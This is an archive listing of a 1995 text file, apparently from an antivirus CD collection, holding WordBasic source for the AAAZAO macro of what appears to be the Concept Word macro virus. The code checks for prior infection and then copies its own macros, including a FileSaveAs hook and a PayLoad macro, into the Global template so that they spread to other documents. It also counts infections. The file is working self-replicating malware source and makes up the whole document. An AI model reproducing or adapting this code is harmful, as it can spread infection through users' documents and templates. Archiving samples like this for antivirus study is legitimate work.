home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / MVUPDAT3.ZIP / CONCEPT.ZIP / AAAZAO.TXT next >
Text File  |  1995-09-06  |  919b  |  32 lines
  1. rem Macro name: AAAZAO
  2. Sub MAIN
  3.     On Error Goto Abort
  4.     iMacroCount = CountMacros(0, 0)
  5.     'see if we're already installed
  6.     For i = 1 To iMacroCount
  7.         If MacroName$(i, 0, 0) = "PayLoad" Then
  8.             bInstalled = - 1
  9.         End If
  10.         If MacroName$(i, 0, 0) = "FileSaveAs" Then
  11.             bTooMuchTrouble = - 1
  12.         End If
  13.     Next i
  14.     If Not bInstalled And Not bTooMuchTrouble Then
  15.         'add FileSaveAs and copies of AutoOpen and FileSaveAs.
  16.         'PayLoad is just for fun.
  17.         iWW6IInstance = Val(GetDocumentVar$("WW6Infector"))
  18.         sMe$ = FileName$()
  19.         sMacro$ = sMe$ + ":Payload"
  20.         MacroCopy sMacro$, "Global:PayLoad"
  21.         sMacro$ = sMe$ + ":AAAZFS"
  22.         MacroCopy sMacro$, "Global:FileSaveAs"
  23.         sMacro$ = sMe$ + ":AAAZFS"
  24.         MacroCopy sMacro$, "Global:AAAZFS"
  25.         sMacro$ = sMe$ + ":AAAZAO"
  26.         MacroCopy sMacro$, "Global:AAAZAO"
  27.         SetProfileString "WW6I", Str$(iWW6IInstance + 1)
  28.         MsgBox Str$(iWW6IInstance + 1)
  29.     End If
  30. Abort:
  31. End Sub
  32.